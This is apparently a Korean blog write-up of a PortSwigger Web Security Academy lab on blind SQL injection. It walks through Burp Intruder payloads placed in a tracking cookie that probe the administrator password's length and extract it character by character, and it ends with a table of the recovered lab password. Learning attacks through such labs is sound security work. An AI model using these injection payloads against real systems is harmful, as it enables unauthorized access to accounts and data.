2026. 2. 23. 21:16ㆍ보안/Web security Academy
Lab: Blind SQL injection with conditional responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
( 이 랩에는 블라인드 SQL 주입 취약점이 포함되어 있습니다. 애플리케이션은 분석을 위해 추적 쿠키를 사용하며, 제출된 쿠키의 값을 포함하는 SQL 쿼리를 수행합니다.
SQL 쿼리의 결과는 반환되지 않으며 오류 메시지도 표시되지 않습니다. 그러나 쿼리가 행을 반환하는 경우 애플리케이션에는 페이지에 웰컴백 메시지가 포함됩니다.
데이터베이스에는 사용자 이름과 비밀번호라는 열이 있는 사용자라는 다른 테이블이 있습니다. 관리자의 비밀번호를 알아내려면 블라인드 SQL 주입 취약점을 악용해야 합니다.
실험실을 해결하려면 관리자로 로그인하세요. )
1. 일단 제목에서 쿼리가 행을 반환하는 경우는 참인 경우이기 때문에 쿼리가 참일 경우 welcome back! 메시지가 표시가 됩니다

또한 쿼리의 결과느느 반환되지 않으며 오류 메시지도 표시가 안된다고 하니 다른 방법으로 sql injection을 해야합니다
2. 다른 방법을 찾아보니 cookie값에 있는 trackingID를 가지고 sql 구문이 사용이 가능하다는것을 알았습니다

이전에 proxy탭에서 repeater로 send를 irepeater가 아닌 intruder로 send 후

' AND (SELECT username FROM users WHERE username='administrator' AND LENGTH(password)=1)='administrator'--'
해당 명령어 입력후 (password) = 1 이부분은 add를 해주어 변수로 지정을 해줘야합니다
payloads에서 numbers지정후 1~25까지 순차적으로 대입을 하여 administrator에 비밀번호 자리수를 파악할수있습니다
공격 시작을 한 결과

20번쨰 자리수에서 length가 올라가는 것을 확인하여 20번째 자리가 welcomback! 텍스트가 나타나서 증가한것을 알수 있습니다

이를 기반으로
' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§;
해당 명령어 사용시 password에서는 비밀번호 자리수를 a에는 들어갈 알바벳 및 숫자를 확인을 하는 명령어를 사용해줍니다
(저자는 해당 구문 사용시 시간이 많이 걸려 (password,1,1),(password,2,1)이런식으로 한자리씩 수동으로 확인하여 파악했습니다)

| 순서 (Payload 1) | 글자 (Payload 2) | 순서 (Payload 1) | 글자 (Payload 2) |
| 1 | w | 11 | 0 |
| 2 | y | 12 | t |
| 3 | j | 13 | e |
| 4 | c | 14 | z |
| 5 | e | 15 | 1 |
| 6 | d | 16 | a |
| 7 | g | 17 | m |
| 8 | n | 18 | 1 |
| 9 | 4 | 19 | o |
| 10 | g | 20 | o |
따라서 wyjcedgn4g0tez1am1oo이러한 비밀번호가 확인되며
로그인을 해주시면 됩니다
'보안 > Web security Academy' 카테고리의 다른 글
| web security academy 12 (0) | 2026.03.03 |
|---|---|
| web security academy 11 (0) | 2026.02.24 |
| web security academy9 (0) | 2026.02.20 |
| web security academy8 (0) | 2026.02.19 |
| web security academy7 (0) | 2026.02.12 |